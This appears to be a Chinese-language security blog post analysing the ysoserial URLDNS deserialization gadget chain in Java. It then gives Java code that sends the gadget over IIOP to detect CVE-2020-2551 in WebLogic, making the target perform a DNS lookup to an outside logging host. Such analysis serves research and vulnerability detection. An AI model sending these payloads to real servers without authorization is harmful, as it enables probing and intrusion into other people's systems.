ysoserial gadget之DNSURL gadget分析及实战利用

payload

HashMap ht = new HashMap(); 
URL u = new URL(url); Reflections.setFieldValue(u, "hashCode", -1); 

分析

查看gadget调用链

 *   Gadget Chain:
 *     HashMap.readObject()
 *       HashMap.putVal()
 *         HashMap.hash()
 *           URL.hashCode()

首先查看HashMap的ReadObject 方法。重点查找在哪里调用putVal方法。

            // Read the keys and values, and put the mappings in the HashMap
            for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false);
            }

在调用putVal方法之前会调用hash方法,查看一下源代码

    static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

如果key不存在的话,hashcode为0。如果key存在的话,则调用key的hashcode方法。在gadget中,key为URL类。所以我们去查看URL的hashCode方法。如下

    public synchronized int hashCode() {
        if (hashCode != -1)
            return hashCode;

        hashCode = handler.hashCode(this);
        return hashCode;
    }

URL类的hashCode很简单。如果hashcode不为-1,则返回hashcode。这也就是前面在构造payload的时候,需要设置hashcode为-1的原因。
随后调用handler的hashCode方法。该类的定义在URL的构造函数中,主要是根据scheme去决定用什么类做handler。例如http等。在这里,理所当然是URLStreamHandler类。所以查看一下URLStreamHandler的hashcode方法

    protected int hashCode(URL u) {
        int h = 0;

        // Generate the protocol part.
        String protocol = u.getProtocol();
        if (protocol != null)
            h += protocol.hashCode();

        // Generate the host part.
        InetAddress addr = getHostAddress(u);
        if (addr != null) {
            h += addr.hashCode();
        } else {
            String host = u.getHost();
            if (host != null)
                h += host.toLowerCase().hashCode();
        }
}

可以看出,这里调用了getHostAddress,也就是这里会触发dns查询。完成dnslog的gadget工作

实战

这个gadget一般不受jdk版本限制,很适合用来检测目标站点是否存在java反序列化。

cve-2020-2551 weblogic iiop反序列化漏洞

网络上公开的exp,都是基于rmi去执行。但是rmi在高版本jdk被限制了,而且如果是检测的话,很难构造。这时候我们可以使用dnsurl去检测weblogic是否存在iiop反序列化漏洞。代码如下

        dnsUrl = String.format("http://%s", dnsUrl.trim());
        Context context = createIIopContext(ip, port);

        HashMap ht = new HashMap(); // HashMap that will contain the URL
        URL u = new URL(dnsUrl); // URL to use as the Key
        ht.put(u, dnsUrl); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

        final Field field = getField(u.getClass(), "hashCode");
        field.set(u, -1);

        context.rebind("Fucker"+System.nanoTime(), ht);
posted @ 2020-03-23 12:01  potatso  阅读(962)  评论(0编辑  收藏  举报